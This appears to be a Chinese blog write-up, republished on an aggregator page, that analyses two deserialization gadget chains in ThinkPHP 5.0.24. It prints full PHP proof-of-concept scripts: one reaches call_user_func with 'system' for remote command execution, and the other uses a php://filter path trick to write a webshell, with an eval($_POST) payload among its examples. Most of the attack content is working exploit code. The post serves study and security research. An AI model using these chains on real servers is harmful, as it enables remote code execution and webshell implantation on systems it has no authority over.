IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> thinkphp5.0.24反序列化链子分析 -> 正文阅读

[网络协议]thinkphp5.0.24反序列化链子分析

前言

前几天学习了tp5.1的反序列化链,那么今天就总结一下tp5.0.24链子的构造。总体来说,我觉得tp5.0的链子要比tp5.1的链子复杂一些,在网上也是找了两条不同的链子,一个是通过写文件来 getshell,一个是直接调用函数执行rce,慢慢看吧。

环境搭建的话很简单,直接在github上下载源码解压到www目录下,同样在控制器写一个反序列化入口就可以了。

反序列化链分析

直接开始分析链子,这里有两条链子,先说说执行rce的这条链子吧。

反序列化链执行rce

其实链子的开端和tp5.1的一样,都是通过调用windows类的__destruct方法,继而调用removefile通过属性实例化任意类调用toString()魔术方法,这里调用Model类中的tostring,

但是Model类不能直接实例化,那就实例化继承它的Pivot类。那么这一块的poc为

<?php
namespace think;
abstract class Model{

}

namespace think\model;
use think\Model;
class Pivot extends Model{

}

namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

进入到Model类的tostring方法,继续跟进tojosn,再跟进toArray方法,老套路,不必多说。同样是看toArray方法的关键代码。

?我们的目标是要通过$value->getAttr($attr)来调用call魔术方法。那么就要判断value是否可控,可以发现value的值最终受到append数组键名的影响,那我们就正向分析。

relation的值是直接由name控制,parseName函数仅仅做了格式转换,而name就是aappend键名。继续往下看,

relation的值被当作函数来执行了,并且返回值赋值给modelRelation参数,我们希望这个参数的值是可控的,那么我们就需要调用返回值可控的函数 ,这里我们让relation赋值为getError,

返回的error是可控的,那么现在modelRelation也可控,继续往下走,被作为参数进入到getRelationData函数里,那么继续跟进这个函数。

这里modelRelation就作为了Relation类的对象,我们需要让value为我为我们可控,那么我们需要进入到第一个if里,看能不能满足条件,跟进isselfRelation方法,

可控,那么最后一个判断,getmodel函数是否可控,继续跟进。

这里需要实例化类继续调用返回值可控的这个函数,这里实例化Query类的getmodel函数,

?这样就都可控了,那么进入到if分支里,value的值是直接由parent属性控制,是可控的。回头继续看toArray函数,我们还需要进入到这两个if语句里。

通过放大镜找到OneToOne类中有getBindAttr函数的定义,那么可以让modelRelation去实例化这个类,

但是OneToOne是继承于Relation类的一个接口,不能直接实例化,这里HasOne继承了OneToOne类,那么我们可以实例化这个类。getBindAttr函数的返回值可控,那么第二个if条件也满足了。这样就可以调用call方法了。 这一块的poc为

namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {
        $this->append = ['getError'];
        $this->error = new HasOne();
        $this->parent = new Output();
    }
}

namespace think\model\relation;
use think\db\Query;

class HasOne{
    protected $selfRelation;
    protected $query;
    protected $bindAttr = [];
    public function __construct()
    {
        $this->selfRelation = false;
        $this->query = new Query();
        $this->bindAttr = ["aaa"=>"222"];
    }
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    
}

namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    public function __construct()
    {
        $this->model = new Output();
    }
}

这样就成功调用了call方法。

?这里调用了block方法,跟进block方法。

继续跟进writeln方法。

套娃一样,继续跟进write方法。

这里调用任意类的write方法。 这里我们调用think\session\dirver里的Mecache类的write方法。

这里又可以调用任意类的set方法,这里我们调用think\cache\Mecache类的set方法,注意重名了,但是不在一个命名空间。

这里跟进has函数,

getCacheKey函数只进行了一个拼接,然后调用任意类的get方法。那么我们就可以调用Request类的set方法。

最后调用经典input方法,这里的this->get和filter都是我们可控的。 进入input方法,最终调用filterValue方法,

调用call_user_func函数来执行命令。这里的value就是this->get,构造最终poc。

<?php
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {
        $this->append = ['getError'];
        $this->error = new HasOne();
        $this->parent = new Output();
    }
}

namespace think\model\relation;
use think\db\Query;

class HasOne{
    protected $selfRelation;
    protected $query;
    protected $bindAttr = [];
    public function __construct()
    {
        $this->selfRelation = false;
        $this->query = new Query();
        $this->bindAttr = ["aaa"=>"222"];
    }
}

namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    public function __construct()
    {
        $this->model = new Output();
    }
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle;
    protected $styles = [
        "getAttr"
    ];
    public function __construct()
    {
        $this->handle = new Memcached();
    }
}

namespace think\cache;
abstract class Driver{

}

namespace think\session\driver;
use think\cache\driver\Memcache;
use think\cache\Driver;
class Memcached {                //个人认为防止重名
    protected $handler;
    protected $config = [   //config一定要写全,不然打不通
        'session_name' => '', // memcache key前缀
        'username'     => '', //账号
        'password'     => '', //密码
        'host'         => '127.0.0.1', // memcache主机
        'port'         => 11211, // memcache端口
        'expire'       => 3600, // session有效期
    ];
    public function __construct()
    {
        $this->handler = new Memcache();
    }
}

namespace think\cache\driver;
use think\Request;
class Memcache{
    protected $tag = "haha";
    protected $handler;
    protected $options = ['prefix'=>'haha/'];
    public function __construct()
    {
        $this->handler = new Request();
    }
}

namespace think;
class Request{
    protected $get = ["haha"=>'dir'];
    protected $filter;
    public function __construct()
    {
        $this->filter = 'system';
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{

}

namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
    private $files = [];
    public function __construct(){
        $this->files = [new Pivot()];
    }
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

一些细节上的地方没有细说,因为这个版本很多地方都和tp5.1.37一样。然后在本地打一下payload

测试成功,这一条链子就分析到这。

反序列化链写文件getshell

前面调用tostring函数,调用call函数啥的都跟上一个链子一样。这里就不在赘述。

从think\session\dirver里的Mecache类开始,调用file类的set方法

最下面有file_put_contents函数可以用来写文件。那我们需要看这两个参数是否可控。先看filename,跟进getCacheKey函数。

可以发现后缀名被锁死了,但是name我们还是可控的,所以filename部分可控。如果说data也可控的话,那么就可以写shell了。 通过函数调用链可以发现data是由value控制,继而由sessData控制,最终追述到Output类的writeln方法。

这里为true,被写死了。不能写内容怎么getshell?我们可以继续调用setTagItem函数。

这里又一次调用了set方法,那么看一下key是否可控。很明显,它是由$this->tag控制,可控。那么value呢?由name控制,仔细看传进来的name,它不就是我们可控的filename嘛,那么我们就可以调用file_put_contents来写文件了。注意

拼接字符串的时候我们需要绕过exit();不然会强制退出。那么该怎么绕过呢?

我们可以利用php伪协议来绕过。

如果file_put_contentes() 第一个参数为php://filter/write=string.rot13/resource=555.php的话,php会把文件内容进行rot13编码,然后写入555.php 文件。 那么exit()函数就会被rot13编码写进文件中,成功绕过。从而实现了绕过。但是使用这种方法的payload不能在Windows上使用。但是在Windows环境中我们可以使用这样的payload,

$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

windows写文件的这个原理我还不太了解,可以参考这篇文章:Thinkphp5.0反序列化链在Windows下写文件的方法 - 先知社区 (aliyun.com)

最终poc为

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
	
}
class Windows extends Pipes{
	private $files=[];
	function __construct(){
		$this->files=[new Pivot()];
	}
	
}
namespace think;
use think\model\relation\HasOne; 
use think\console\Output;
abstract class Model{
	protected $append = [];
	protected $error;
	public $parent;      
	public function __construct(){
		$this->append=["getError"];
		$this->error=new HasOne();
		$this->parent=new Output();
	}
}
namespace think\model\relation;
use think\model\Relation;
class HasOne extends OneToOne{
	function __construct(){
		parent::__construct();
	}
}
namespace think\model;
use think\db\Query;
abstract class Relation{
	protected $selfRelation;
	protected $query;
	function __construct(){
		$this->selfRelation=false;
		$this->query= new Query();
	}
}
namespace think\console;
use think\session\driver\Memcache;
class Output{
	private $handle = null;
	protected $styles = [];  
	function __construct(){
		$this->styles=['getAttr']; 
		$this->handle=new Memcache();
	}
}
namespace think\db;
use think\console\Output;
class Query{
	protected $model;
	function __construct(){
		$this->model= new Output();
	}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{
	
	protected $bindAttr = [];
	function __construct(){
		parent::__construct();
		$this->bindAttr=["aaa","123"];
		
	}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcache{
	protected $handler = null;
	function __construct(){
		$this->handler=new File();
	}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
	protected $options=[];
	function __construct(){
		parent::__construct();
	$this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../ab.php',
        'data_compress' => false,//base64字符串为<?php phpinfo();\?\>
    ];
	}
}
namespace think\cache;
abstract class Driver{
	 protected $tag;
	 function __construct(){
		 $this->tag=true;
	 }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

//
?>

将payload打进去,

可以看到成功写入了文件了。 那么访问这个文件,

能够成功执行命令。那么就可以写木马进去了。

结语

第二条链子要比第一条复杂,涉及到windows下文件名的限制问题。还是要理解原理。

相关链接:

Thinkphp5.0.24 反序列化rce链学习_bfengj的博客-CSDN博客_thinkphp5.0.24

Thinkphp5.0.24反序列化分析和poc - FreeBuf网络安全行业门户

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-07-21 21:50:39  更:2022-07-21 21:51:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 4:37:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码